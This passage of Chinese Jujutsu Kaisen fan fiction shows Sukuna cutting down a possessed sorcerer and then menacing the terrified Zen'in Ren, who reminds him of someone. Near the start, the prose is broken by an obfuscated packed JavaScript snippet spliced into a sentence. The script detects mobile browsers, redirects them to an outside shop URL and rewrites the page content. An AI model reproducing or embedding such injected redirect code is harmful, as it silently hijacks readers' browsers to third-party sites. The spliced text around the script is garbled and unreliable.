食指与中指并拢,指尖对准。 然后,轻轻一划。 “解。” 一道薄如蝉翼、边缘跳跃着黑色电光的暗红色弧形斩击,无声无息地掠过两人之间的狭窄空间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153074|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没有惊天动地的气势,没有火焰燃烧的爆鸣。 只有“嗤”的一声轻响。 湿婆受肉/体脸上那混合着淫邪、惊愕、以及体内神祇力量被引动前兆的狞笑,骤然凝固。 他保持着前冲抓取的姿势,僵硬在原地。 一道细密的血线,从他的眉心、鼻梁、嘴唇、下颌……一路向下,笔直地浮现。 紧接着,他整个身体,连同体内那刚刚开始沸腾、发出愤怒咆哮的湿婆神力虚影,如同被最锋利的次元刀平整切割,沿着那条血线,无声地、平滑地分成了两半! 切口处光滑如镜,没有鲜血狂喷,只有被极致高温和侵蚀性咒力瞬间碳化、湮灭的焦黑痕迹。两半残躯甚至没有立刻倒下,而是诡异地悬浮了一瞬,才“噗通”两声,砸落在灰蒙蒙的结界“地面”上,迅速化为两滩迅速蒸发的黑色灰烬,连半点残渣都没留下。 那个刚刚还散发着恐怖威压、言语污秽、意图不轨的湿婆受肉/体,连同他体内寄宿的、来自异域的古老神明之力,就这么……被轻描淡写地、如同抹去一粒尘埃般,彻底“解”掉了。 直到此时,那挡在怜身前的颀长身影,才仿佛做完了一件微不足道的小事,缓缓放下了手。 暗红色的咒力与黑色电光在他周身缓缓收敛。 他没有转身,只是微微偏过头,用侧脸上那四只猩红的眼眸,极其冷淡地、居高临下地,瞥了一眼身后完全呆滞、如同石化般的禅院怜。 四只猩红的眼眸,如同四簇在深渊中点燃的不灭之火,精准地、毫无情绪地,落在了她苍白的脸上。 他的目光先是掠过她惊魂未定的神情,扫过她凌乱的发丝和微微颤抖的肩膀,最后,定格在她那双因恐惧和迷茫而氤氲着水汽的浅草绿眼眸上。 随即,他像是察觉到了什么,那总是挂着讥诮与不耐的嘴角,几不可察地向上弯起一个微妙的弧度。不是面对敌人时的冰冷杀意,而是一种……混合了惊讶、玩味,以及一丝极其隐晦、连他自己都未必清晰意识的波动的表情。 “调伏?”他开口,声音低沉,带着少年变声期特有的沙哑质感,却又沉淀着一种与外貌年龄全然不符的古老与倦怠,仿佛刚从一场跨越千年的长眠中苏醒,“竟然能让本大爷以这种形式出现……啧,小丫头,有点本事。” 他说话的语气轻佻,带着毫不掩饰的挑衅与评估,仿佛在打量一件新奇的、勉强能入眼的玩具。他向前迈了一步,动作看似随意,却带着一种猛兽打量猎物般的压迫感,高大的身影完全笼罩了仍瘫坐在地的怜。 然后,他的目光,再次深深地、如同要刺穿灵魂般,望进怜那双浅草绿的眸子里。 时间,仿佛在那一刹那被无限拉长、凝固。 宿傩脸上那玩世不恭的、带着邪气的笑意,骤然僵住。 四只猩红的瞳孔,在同一瞬间,难以抑制地、剧烈地收缩了一下!仿佛有某种沉睡已久的、深埋于灵魂最底层的弦,被这抹猝不及防映入眼帘的“新绿”,狠狠拨动! 震惊。如同投入古井的巨石,在他千年冰封般的心湖深处,激起了滔天骇浪。 怀念。一种遥远得几乎被遗忘、却在此刻尖锐复苏的、混杂着温暖与钝痛的情感,如同破土而出的毒藤,瞬间缠绕上他的心脏。 但这两种过于剧烈的情绪,仅仅持续了不到一息。宿傩眼底翻涌的惊涛,便以更快的速度坍缩、沉淀,被一种更加浓厚、更加扭曲的邪佞笑意所覆盖。那笑意冰冷,带着洞悉一切的嘲弄,以及一丝……连他自己都未曾明言的失望与烦躁。 “你……”他拖长了语调,四只眼睛微微眯起,视线如同带着倒刺的钩子,在怜的脸上来回逡巡,最终依旧锁死在那双让他瞬间失态的眸子上,“呵……令人怀念的瞳色。” 他的声音压得更低,如同贴着耳廓响起的恶魔低语,每个字都敲在怜紧绷到极致的神经上。 “不过,”他嘴角的弧度加深,那笑容却令人遍体生寒,“你不是‘她’。” 他的语气斩钉截铁,带着一种近乎残酷的笃定。 “那家伙的本体……”宿傩微微偏头,仿佛在回忆某个模糊的剪影,眼神飘向虚无的远方,却又迅速拉回,重新聚焦在怜惊愕的脸上,笑意里掺进恶劣的玩味,“应该是个更……麻烦的小不点才对。” 怜完全懵了,恐惧让她的大脑一片空白。他不是在看她,他像是在透过她,寻找另一个人的影子。这个认知,非但没有让她感到安心,反而滋生了更深的不安与恐惧。未知,永远比已知的恶意更令人心悸。 宿傩似乎并不在意她的茫然与恐惧。他再次向前靠近,两人之间的距离缩短到呼吸可闻。属于他的、带着淡淡血腥与某种古老冷冽气息的味道,强势地侵入怜的感官。他抬起了手——是那只刚刚轻易划出斩击、此刻收敛了咒力、指节分明而修长的手。 目标,是怜的眼睛。 那只手带着一种不容置疑的、仿佛要触碰什么易碎珍宝般的姿态,缓缓伸向怜的脸颊,指尖微屈,似乎想要轻轻抚上她的眼睑,触碰那抹让他瞬间失态的浅草绿色。 “!”怜猛地惊醒,巨大的危机感让她爆发出前所未有的速度,几乎是手脚并用地向后急退!后背“咚”地一声撞上身后冰冷坚硬的结界壁垒,退无可退。 她背靠着无形的墙壁,浅草绿的眸子里盈满了纯粹的、不掺任何伪装的惊恐,像一只被逼到绝境、炸起全身毛发的小兽,死死盯着步步逼近的宿傩,眼泪不受控制地涌上来,模糊了视线。 她是真的怕,怕这个诡异出现的少年,怕他眼中那深不见底的黑暗和邪气,怕他下一刻就会像捏碎那个诅咒师一样捏碎自己。 这真是请神容易送神难!